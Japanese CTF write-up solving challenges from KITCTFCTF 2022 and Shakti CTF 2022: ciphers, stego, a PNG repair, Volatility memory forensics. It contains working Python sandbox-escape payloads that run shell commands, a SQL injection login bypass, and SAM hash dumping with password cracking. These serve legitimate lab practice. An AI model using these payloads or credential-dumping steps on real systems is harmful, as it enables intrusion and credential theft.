KITCTFCTF 2022 Writeup

この大会は2022/12/10 3:00(JST)~2022/12/11 9:00(JST)に開催されました。
今回もチームで参戦。結果は216点で228チーム中118位でした。
自分で解けた問題をWriteupとして書いておきます。

Insanity Check (misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

Website: https://ctf.kitctf.me/
 
KCTF{Welcome_to_KITCTFCTF111!!!!34675837}
KCTF{Welcome_to_KITCTFCTF111!!!!34675837}

One Trick Pony (boomer crypto)

$ nc kitctf.me 12345
This is my message to you: 33AE0C532293259809A0DBC89A928D235CAB3AD86F8082AD15355C0D56EDE9F207412DC64431D73F053B6461379B3FB6C7D7EDA9FFD0273F2ED61C28521DB1EE17814A8124808E091E7811E2CAAF04FBEA183F4285C048DB46C01C279879A928226D973793C08A71B87D979D76544CE119BCE109BD8F39E4DDEA3CF1EEDFAEC036DC937D

$ nc kitctf.me 12345
This is my message to you: 33AE0C532293259809A0DBC89A928D235CAB3AD86F8082AD15355C0D56EDE9F207412DC64431D73F053B6461379B3FB6C7D7EDA9FFD0273F2ED61C28521DB1EE17814A8124808E091E7811E2CAAF04FBEA183F4285C048DB46C01C279879A928226D973793C08A71B87D979D76544CE119BCE109BD8F39E4DDEA3CF1EEDFAEC036DC937D

rand()で、元のメッセージの長さ分XORしているが、何回暗号化しても同じなので、rand()の鍵は決まっているはず。C言語で鍵を生成するコードを使い、復号する。

$ cat solve.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char h_enc[] = "33AE0C532293259809A0DBC89A928D235CAB3AD86F8082AD15355C0D56EDE9F207412DC64431D73F053B6461379B3FB6C7D7EDA9FFD0273F2ED61C28521DB1EE17814A8124808E091E7811E2CAAF04FBEA183F4285C048DB46C01C279879A928226D973793C08A71B87D979D76544CE119BCE109BD8F39E4DDEA3CF1EEDFAEC036DC937D";
    char enc[256];
    char secret_msg[256];
    int len;
    unsigned int x;

    len = strlen(h_enc);
    for (int i=0; i<len; i+=2) {
        sscanf((char *)(h_enc + i), "%02x", &x);
        enc[i/2] = x;
    }

    unsigned char* random_bytes = malloc(len/2);
    for (size_t i = 0; i < len/2; i++) {
        random_bytes[i] = rand();
    }

    for (size_t i = 0; i < len/2; i++) {
        secret_msg[i] = enc[i] ^ random_bytes[i];
    }

    printf("%s\n", secret_msg);
}
$ gcc solve.c -o solve
$ ./solve
The slot machine in the corner has quite favorable odds. This might earn you some chips to start with: KCTF{sh0uld_h4ve_us3d_4_s33d}
KCTF{sh0uld_h4ve_us3d_4_s33d}

Shakti CTF 2022

この大会は2022/12/9 23:30(JST)~2022/12/10 23:30(JST)に開催されました。
今回もチームで参戦。結果は4670点で387チーム中1位でした。
自分で解けた問題をWriteupとして書いておきます。

Cipher Puzzle (Misc 100)

モールス信号と推測し、https://morsecode.world/international/translator.htmlでデコードする。

01110101 01110010 01101001 01100111 01111010 01110111 01110011 01111010 01101000 01111011 00110101 01110010 00110100 01100111 00110111 01110111 01010011 00110000 01110110 01010001 00110000 01010000 00110101 00110011 01111101

CyberChefで以下のデコードを行う。

From Binary
・Delimiter: Space
・Byte Length: 8
urigzwszh{5r4g7wS0vQ0P53}

換字式暗号と推測できる。わかる範囲で対応表を書いてみる。

plain : abcdefghijklmnopqrstuvwxyz
cipher: i s  h rw g       uz

cipherのg, h, iが4つ飛ばしで、対応づけられている。このことから対応表の穴を埋めてみる。

plain : abcdefghijklmnopqrstuvwxyz
cipher: insxchmrwbglqvafkpuzejotyd

この対応表を使って復号する。

shaktictf{5h4k7iC0nM0R53}

level0 (Misc 100)

pyjailの問題。

$ nc 65.2.136.80 30212
Ever seen the movie 'Escape room'?
Well, now you can play it yourself!
*********************************************************
You are in a room with a door.
Enter the password to open the door.
Hint:Try using the tablet.
*********************************************************
Player's Tablet
Functions: 
1. Run password cracker
2. Give up
Enter your choice: 1
Password cracker is running...
>>> print("".__class__.__mro__[1].__subclasses__())
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
None
*********************************************************

のインデックスは132。

Player's Tablet
Functions: 
1. Run password cracker
2. Give up
Enter your choice: 1
Password cracker is running...
>>> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('ls -la')
total 8
drwxr-xr-x   1 root root   17 Dec 10 00:58 .
drwxr-xr-x   1 root root   17 Dec 10 00:58 ..
-rwxr-xr-x   1 root root    0 Dec 10 00:58 .dockerenv
lrwxrwxrwx   1 root root    7 Nov 30 02:04 bin -> usr/bin
drwxr-xr-x   2 root root    6 Apr 15  2020 boot
drwxr-xr-x   5 root root  360 Dec 10 00:58 dev
drwxr-xr-x   1 root root   66 Dec 10 00:58 etc
-rw-rw-rw-   1 root root   96 Dec 10 00:45 flag.txt
drwxr-xr-x   2 root root    6 Apr 15  2020 home
lrwxrwxrwx   1 root root    7 Nov 30 02:04 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Nov 30 02:04 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Nov 30 02:04 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Nov 30 02:04 libx32 -> usr/libx32
drwxr-xr-x   2 root root    6 Nov 30 02:04 media
drwxr-xr-x   2 root root    6 Nov 30 02:04 mnt
drwxr-xr-x   2 root root    6 Nov 30 02:04 opt
dr-xr-xr-x 260 root root    0 Dec 10 00:58 proc
-rw-rw-rw-   1 root root 1666 Dec 10 00:45 pyjail.py
drwx------   2 root root   37 Nov 30 02:07 root
drwxr-xr-x   1 root root   21 Dec 10 00:58 run
lrwxrwxrwx   1 root root    8 Nov 30 02:04 sbin -> usr/sbin
drwxr-xr-x   2 root root    6 Nov 30 02:04 srv
dr-xr-xr-x  13 root root    0 Dec 10 00:58 sys
drwxrwxrwt   1 root root    6 Dec 10 00:47 tmp
drwxr-xr-x   1 root root   81 Nov 30 02:04 usr
drwxr-xr-x   1 root root   54 Nov 30 02:07 var
None
*********************************************************
Player's Tablet
Functions: 
1. Run password cracker
2. Give up
Enter your choice: 1
Password cracker is running...
>>> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat flag.txt')
Congrats! You found the password.
But the game ain't over.....
shakti{7h47_w45_7Un!3a36rgjsk9}None
*********************************************************
shakti{7h47_w45_7Un!3a36rgjsk9}

level1 (Misc)

再びpyjailの問題。

$ nc 65.2.136.80 30042
You may have gotten out of the first room, but you're not out of the woods yet.
*********************************************************
This time, you find yourself in an corridor with an open door at the end.
But then the door opens, and you find a hoard of robots coming your way.
You need to find a way to stop them and get out of the corridor.
And for that, you need the kill code.
*********************************************************
Player's Tablet
Functions: 
1. Crack kill code
2. Give up
Enter your choice: 1
Find the kill code...
>>> ().__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
*********************************************************

のインデックスは109。

Player's Tablet
Functions: 
1. Crack kill code
2. Give up
Enter your choice: 1
Find the kill code...
>>> ().__class__.__bases__[0].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].system("ls")
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
pyjail1.py
root
run
sbin
srv
sys
tmp
usr
var
0
*********************************************************
Player's Tablet
Functions: 
1. Crack kill code
2. Give up
Enter your choice: 1
Find the kill code...
>>> ().__class__.__bases__[0].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].system("cat flag.txt")
The robots stop at once.You are saved!
But now you have to face the biggest challenge of all.
Word of advice,remember this:weYbdk9012ghiwh=0?
shakti{7h47_W45_4_Cl053_C4ll!!!}0
shakti{7h47_W45_4_Cl053_C4ll!!!}

Winter Reindeer (Misc 100)

スペースと、タブと、改行文字しかない。stegsnowで秘匿されていると推測。
さらにFreeのHintを見てみると、こう書いてある。

Hint #1
The name of the person is case sensitive. (Eg: Xxx Xxx)

このヒントから、問題に書かれているuniversal jointの発明者がパスワードになっていることが推測できる。調べてみると、"Gerolamo Cardano"がuniversal jointの発明者の一人であることがわかった。

$ stegsnow -C -Q -p "Gerolamo Cardano" snow_chall.txt 
shaktictf{H4v3_4_5n0wy_c7f}
shaktictf{H4v3_4_5n0wy_c7f}

L0g1n F4il3d (Web exploitation 100)

SQLインジェクション。以下を入力し、ログインすると、フラグが表示された。

Username: admin
Password: ' or 1=1 -- -
Hey 'admin'! Here is your flag: '('admin', 'shaktictf{s1mpl3_sql_inject1on_ehehhehe564321345}')'.
shaktictf{s1mpl3_sql_inject1on_ehehhehe564321345}

Follow Up (Forensics 100)

WiresharkTCP Streamを見ると、PNGフォーマットが見える。Raw(無加工)形式でPNGファイルとして保存すると、その画像にフラグが書いてあった。

shaktictf{that_was_e4sy!}

Fishy File (Forensics 100)

バイナリエディタで見ると、PDFフォーマットが逆順になっていることがわかるので、元に戻す。PDFには何も書かれていないように見えるが、全選択すると、何かが選択される。このままコピペする。

shaktictf{Th1s_I5_N0t_tH3_Fl4g!}

ダミーフラグだった。

$ binwalk flag.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.4"
197           0xC5            Zlib compressed data, default compression
872           0x368           Zlib compressed data, default compression
15901         0x3E1D          Zlib compressed data, default compression
16699         0x413B          PNG image, 1575 x 1179, 8-bit/color RGB, non-interlaced
16878         0x41EE          Zlib compressed data, best compression
418797        0x663ED         PDF document, version: "1.4"
418995        0x664B3         Zlib compressed data, default compression
421923        0x67023         Zlib compressed data, default compression
439080        0x6B328         Zlib compressed data, default compression
439616        0x6B540         Zlib compressed data, default compression
460624        0x70750         Zlib compressed data, default compression

PNGらしきものが埋め込まれているが、バイナリエディタで見ると、ところどころチャンク名が間違っているので、修正して抽出する。

IDHR -> IHDR
idat -> IDAT
INED -> IEND
#!/usr/bin/env python3
with open('shakti.dat', 'rb') as f:
    data = f.read()

with open('flag.pdf', 'wb') as f:
    f.write(data[::-1])

data = data[::-1][16699:418797]
data = data.replace(b'IDHR', b'IHDR')
data = data.replace(b'idat', b'IDAT')
data = data.replace(b'INED', b'IEND')

with open('flag.png', 'wb') as f:
    f.write(data)


抽出したPNG画像にフラグが書いてあった。

shaktictf{Y0Uuu_G0t_Th1Ss5}

Mission 1 (Forensics 200)

メモリフォレンジックの問題。以下に答える必要がある。

1.What is the SHA1 hash of Challenge.raw?
2.What is the user password of TroubleMaker's account?
3.What is the PID of the program used to capture the image?
$ sha1sum Challenge.raw 
ed85ee47484e503787277807d3ef999586aecf1b  Challenge.raw

Challenge.rawのsha1ハッシュは ed85ee47484e503787277807d3ef999586aecf1b。

$ volatility -f Challenge.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/Challenge.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf8000282f120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002831000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-12-08 20:05:47 UTC+0000
     Image local date and time : 2022-12-09 01:35:47 +0530

$ volatility -f Challenge.raw --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80061bc660:wininit.exe                       448    348      3     76 2022-12-08 19:58:37 UTC+0000
. 0xfffffa8006236b00:services.exe                     512    448      9    208 2022-12-08 19:58:39 UTC+0000
.. 0xfffffa80068b0b00:wmpnetwk.exe                   2176    512     14    431 2022-12-08 20:00:37 UTC+0000
.. 0xfffffa80066c1060:taskhost.exe                   1676    512      9    215 2022-12-08 19:59:07 UTC+0000
.. 0xfffffa800634ab00:svchost.exe                     912    512     18    482 2022-12-08 19:58:49 UTC+0000
.. 0xfffffa8005f7eb00:SearchIndexer.                 1556    512     14    655 2022-12-08 20:00:15 UTC+0000
.. 0xfffffa8006551b00:svchost.exe                    1312    512     10    148 2022-12-08 19:59:03 UTC+0000
.. 0xfffffa80037c0b00:svchost.exe                    2416    512     11    356 2022-12-08 20:00:48 UTC+0000
.. 0xfffffa8003931b00:mscorsvw.exe                   2064    512      6     84 2022-12-08 20:02:09 UTC+0000
.. 0xfffffa80062f6510:VBoxService.ex                  680    512     13    125 2022-12-08 19:58:46 UTC+0000
.. 0xfffffa800637bb00:svchost.exe                     940    512     32    922 2022-12-08 19:58:49 UTC+0000
.. 0xfffffa800632c060:svchost.exe                     824    512     22    557 2022-12-08 19:58:47 UTC+0000
... 0xfffffa80063be370:audiodg.exe                    236    824      5    123 2022-12-08 19:58:51 UTC+0000
.. 0xfffffa80064ef9d0:spoolsv.exe                    1184    512     14    290 2022-12-08 19:59:01 UTC+0000
.. 0xfffffa800650a860:svchost.exe                    1220    512     19    316 2022-12-08 19:59:02 UTC+0000
.. 0xfffffa80062fab00:svchost.exe                     736    512      7    266 2022-12-08 19:58:47 UTC+0000
.. 0xfffffa80065f3b00:sppsvc.exe                     1896    512      4    143 2022-12-08 19:59:10 UTC+0000
.. 0xfffffa80062ba4f0:svchost.exe                     620    512      9    351 2022-12-08 19:58:45 UTC+0000
... 0xfffffa80039ef7b0:WmiPrvSE.exe                  2508    620      7    112 2022-12-08 20:02:28 UTC+0000
.. 0xfffffa80063efb00:svchost.exe                     368    512     14    465 2022-12-08 19:58:56 UTC+0000
.. 0xfffffa800636d460:svchost.exe                     884    512     29    532 2022-12-08 19:58:49 UTC+0000
... 0xfffffa8006721b00:dwm.exe                       1484    884      3     99 2022-12-08 19:59:40 UTC+0000
.. 0xfffffa8006597b00:svchost.exe                    1400    512     19    274 2022-12-08 19:59:03 UTC+0000
.. 0xfffffa8003b46060:svchost.exe                    2172    512      9    249 2022-12-08 20:03:20 UTC+0000
.. 0xfffffa8003a827b0:mscorsvw.exe                   2604    512      5     79 2022-12-08 20:02:37 UTC+0000
. 0xfffffa8006242930:lsass.exe                        520    448      8    769 2022-12-08 19:58:40 UTC+0000
. 0xfffffa8005faeb00:lsm.exe                          528    448     10    148 2022-12-08 19:58:40 UTC+0000
 0xfffffa80047de060:csrss.exe                         356    348      8    431 2022-12-08 19:58:33 UTC+0000
 0xfffffa80036d0040:System                              4      0     86    537 2022-12-08 19:58:23 UTC+0000
. 0xfffffa8004858040:smss.exe                         272      4      2     29 2022-12-08 19:58:23 UTC+0000
 0xfffffa80061abb00:csrss.exe                         408    400      9    225 2022-12-08 19:58:37 UTC+0000
. 0xfffffa800654e060:conhost.exe                     2628    408      2     53 2022-12-08 20:01:19 UTC+0000
. 0xfffffa8003ae1b00:conhost.exe                     2012    408      2     52 2022-12-08 20:05:36 UTC+0000
 0xfffffa80061ad4c0:winlogon.exe                      440    400      3    113 2022-12-08 19:58:37 UTC+0000
 0xfffffa80037ed3f0:explorer.exe                     1452   1264     39    874 2022-12-08 19:59:41 UTC+0000
. 0xfffffa80067e9500:VBoxTray.exe                    1060   1452     14    149 2022-12-08 19:59:47 UTC+0000
. 0xfffffa80038438f0:cmd.exe                         2612   1452      1     21 2022-12-08 20:01:16 UTC+0000
. 0xfffffa8003798060:DumpIt.exe                       636   1452      2     45 2022-12-08 20:05:34 UTC+0000
. 0xfffffa800388db00:iexplore.exe                    2728   1452     10    486 2022-12-08 20:01:39 UTC+0000
.. 0xfffffa8003b23220:iexplore.exe                   1076   2728     20    549 2022-12-08 20:03:37 UTC+0000

イメージのキャプチャのプログラムはDumpIt.exeで、そのPIDは 636。

$ volatility -f Challenge.raw --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a00127d010 0x00000000a147a010 \??\C:\Users\TroubleMaker\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a0042f0410 0x000000007ea82410 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00492f010 0x000000008bbe2010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00000f010 0x00000000a976b010 [no name]
0xfffff8a000024010 0x00000000a97f6010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a00004f010 0x00000000a96a1010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000bff010 0x000000008d0c6010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000d18010 0x000000006a0eb010 \SystemRoot\System32\Config\SECURITY
0xfffff8a000d6b010 0x0000000061a85010 \SystemRoot\System32\Config\SAM
0xfffff8a000e31410 0x0000000057cfd410 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a000e81010 0x00000000574e0010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a0011cc010 0x00000000a0f72010 \??\C:\Users\TroubleMaker\ntuser.dat

$ volatility -f Challenge.raw --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000d6b010
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10eca58175d4228ece151e287086e824:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
TroubleMaker:1001:aad3b435b51404eeaad3b435b51404ee:8222c982da6adde81e54c0aeaac4dbed:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:94d88807b15429eb5d7e8f504f3499d1:::

CrackStationで 8222c982da6adde81e54c0aeaac4dbed をクラックする。

londonbridge
shaktictf{ed85ee47484e503787277807d3ef999586aecf1b_londonbridge_636}

Mission 2 (Forensics 300)

Mission 1の続き。TroubleMakerがリークしようとした機密情報は何かを答える問題。

$ volatility -f Challenge.raw --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 2628
Console: 0xffd46200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: Command Prompt
Title: Command Prompt
AttachedProcess: cmd.exe Pid: 2612 Handle: 0x60
----
CommandHistory: 0x20ed90 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 7 LastAdded: 6 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x203740: cd Documents
Cmd #1 at 0x1ed380: echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=
Cmd #2 at 0x2139c0: type hint.txt
Cmd #3 at 0x1ed3f0: echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=
Cmd #4 at 0x2139f0: type hint.txt
Cmd #5 at 0x1ed460: echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=
Cmd #6 at 0x213a20: type hint.txt
----
Screen 0x1f12a0 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\TroubleMaker>cd Documents                                              
                                                                                
C:\Users\TroubleMaker\Documents>echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=   
WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=                                        
                                                                                
C:\Users\TroubleMaker\Documents>type hint.txt                                   
p4sSworD@51073#912                                                              
C:\Users\TroubleMaker\Documents>echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=   
WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=                                        
                                                                                
C:\Users\TroubleMaker\Documents>type hint.txt                                   
p4sSworD@51073#912                                                              
C:\Users\TroubleMaker\Documents>echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=   
WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk=                                        
                                                                                
C:\Users\TroubleMaker\Documents>type hint.txt                                   
The system cannot find the file specified.                                      
                                                                                
C:\Users\TroubleMaker\Documents>                                                
**************************************************
ConsoleProcess: conhost.exe Pid: 2012
Console: 0xffd46200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: C:\Users\TroubleMaker\Desktop\DumpIt\DumpIt.exe
Title: C:\Users\TroubleMaker\Desktop\DumpIt\DumpIt.exe
AttachedProcess: DumpIt.exe Pid: 636 Handle: 0x60
----
CommandHistory: 0xbeba0 Application: DumpIt.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
----
Screen 0xa1190 X:80 Y:300
Dump:
  DumpIt - v1.3.2.20110401 - One click memory memory dumper                     
  Copyright (c) 2007 - 2011, Matthieu Suiche <http://www.msuiche.net>           
  Copyright (c) 2010 - 2011, MoonSols <http://www.moonsols.com>                 
                                                                                
                                                                                
    Address space size:        4831838208 bytes (   4608 Mb)                    
    Free space size:          14847827968 bytes (  14159 Mb)                    
                                                                                
    * Destination = \??\C:\Users\TroubleMaker\Desktop\DumpIt\TROUBLEMAKER-PC-202
21208-200537.raw                                                                
                                                                                
    --> Are you sure you want to continue? [y/n] y                              
    + Processing...

base64文字列があるので、デコードする。

$ echo WW91IG1pZ2h0IG5lZWQgdGhpcyAtIHZpY3Rvcnk= | base64 -d
You might need this - victory

これは、どこかで使うのか。一旦保留する。

$ volatility -f Challenge.raw --profile=Win7SP1x64 iehistory
Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 2728 iexplore.exe
Cache type "DEST" at 0x51887eb
Last modified: 2022-12-09 01:35:05 UTC+0000
Last accessed: 2022-12-08 20:05:05 UTC+0000
URL: TroubleMaker@https://pastebin.com/VPSQgu4v
Title: Pastebin.com - Locked Paste

https://pastebin.com/VPSQgu4vにアクセスするが、パスワードが必要。先ほどのconsolesの結果で、hint.txtに以下のパスワードが書いてあることがわかっている。

p4sSworD@51073#912

このパスワードを入力すると、以下が表示された。

Are you looking for this?
 
https://mega.nz/file/ImYVDIaK#PcatBviUVQVh1srQVjYYgMNg8ikOfOcQ1DYaA_YKwFQ

